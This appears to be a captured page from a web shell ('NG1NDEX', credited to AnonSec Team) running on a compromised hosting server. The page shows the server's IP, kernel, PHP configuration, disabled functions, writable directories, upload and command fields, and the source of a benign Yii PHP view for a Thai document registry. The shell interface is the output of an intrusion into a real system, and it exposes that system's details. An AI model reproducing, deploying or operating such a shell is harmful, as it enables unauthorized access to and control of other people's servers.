NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 216.73.216.160
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/views/main/etc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/views/main/etc/viewNewsbook.php
<style type="text/css">
.tableView {
    margin-top: 2%;
    margin-bottom: 2%;
}
.tableView tr td {
    padding: 7px;
}
.labelFilePath:first-child {
    margin-top: 0px; display: block;
}
.labelFilePath {
    margin-top: 7px; display: block;
}
</style>

<div class="row-fluid">
    <div class="span12">
        <table style="width: 100%; margin-top: 15px;">
            <tr>
                <td>
                    <a class="btn" href="<?php echo Yii::app()->controller->createUrl('Main/MainNewsbook'); ?>">
                        <i class="icon-chevron-left"></i>
                        <span>ย้อนกลับ หน้าหลัก</span>
                    </a>
                </td>
            </tr>
        </table>
    </div>
</div>

<div class="row-fluid">
    <div class="span12">
        <table width="100%" class="tableView">
            <tr>
                <td style="text-align: right; font-weight: bold;"><span>ฝ่ายที่เข้ามาดู :</span></td>
                <td>
                    <?php
                    $newsbook_id = CJSON::decode($model->nb_tag_view);
                    foreach($newsbook_id as $value):
                        
                        $criteria = new CDbCriteria();
                        $criteria->compare('t.id', $value);
                        $result = tbNewsbookMember::model()->find($criteria);
                        
                        echo $result->mb_name.'&nbsp;,&nbsp;';
                    endforeach;
                    ?>
                </td>
            </tr>
            <tr>
                <td width="150" style="text-align: right; font-weight: bold;"><span>เลทขที่หนังสือ :</span></td>
                <td style="text-decoration: underline;"><b><?php echo $model->nb_number; ?></b></td>
            </tr>
            <tr>
                <td style="text-align: right; font-weight: bold;"><span>ชื่อเรื่อง :</span></td>
                <td><b><?php echo $model->nb_name; ?></b></td>
            </tr>
            <tr>
                <td style="text-align: right; font-weight: bold;"><span>ระยะเวลา :</span></td>
                <td style="color: blue;"><?php echo OtherFunction::DateThai($model->nb_date_start).'&nbsp;&nbsp;-&nbsp;&nbsp;'.OtherFunction::DateThai($model->nb_date_end); ?></td>
            </tr>
            <tr>
                <td style="text-align: right; font-weight: bold;"><span>ฝ่ายที่เกี่ยวข้อง :</span></td>
                <td>
                    <?php
                        $criteria = new CDbCriteria();
                        $criteria->compare('tb_newsbook_id', $model->id);
                        $resultGroup = tbNewsbookGroup::model()->findAll($criteria);
                        
                        foreach($resultGroup as $valueGroup) {
                            $criteria = new CDbCriteria();
                            $criteria->compare('t.id', $valueGroup->tb_newsbook_member_id);
                            $resultName = tbNewsbookMember::model()->find($criteria);
                                
                            echo '<span style="color: red;">'.$resultName->mb_name.'&nbsp;&nbsp;<i class="icon-chevron-right"></i>&nbsp;&nbsp;</span>';
                        }
                    ?>
                </td>
            </tr>
            <tr>
                <td style="text-align: right; font-weight: bold;"><span>ข้อมูลไฟล์ :</span></td>
                <td>
                    <?php
                        $criteria = new CDbCriteria();
                        $criteria->compare('tb_newsbook_id', $model->id);
                        $resultFile = tbNewsbookFile::model()->findAll($criteria);
                        
                        foreach($resultFile as $valueFile) {
                            echo '<label class="labelFilePath">';
                            echo '<i class="icon-file" style="padding-right: 7px;"></i>';
                            echo CHtml::link($valueFile->file_name, Yii::app()->baseUrl.OtherFunction::pathFile('newsbook').$valueFile->path_file, array('target'=>'_blank'));
                            echo '</label>';
                        }
                    ?>
                </td>
            </tr>
        </table>
    </div>
</div>

Anon7 - 2022
AnonSec Team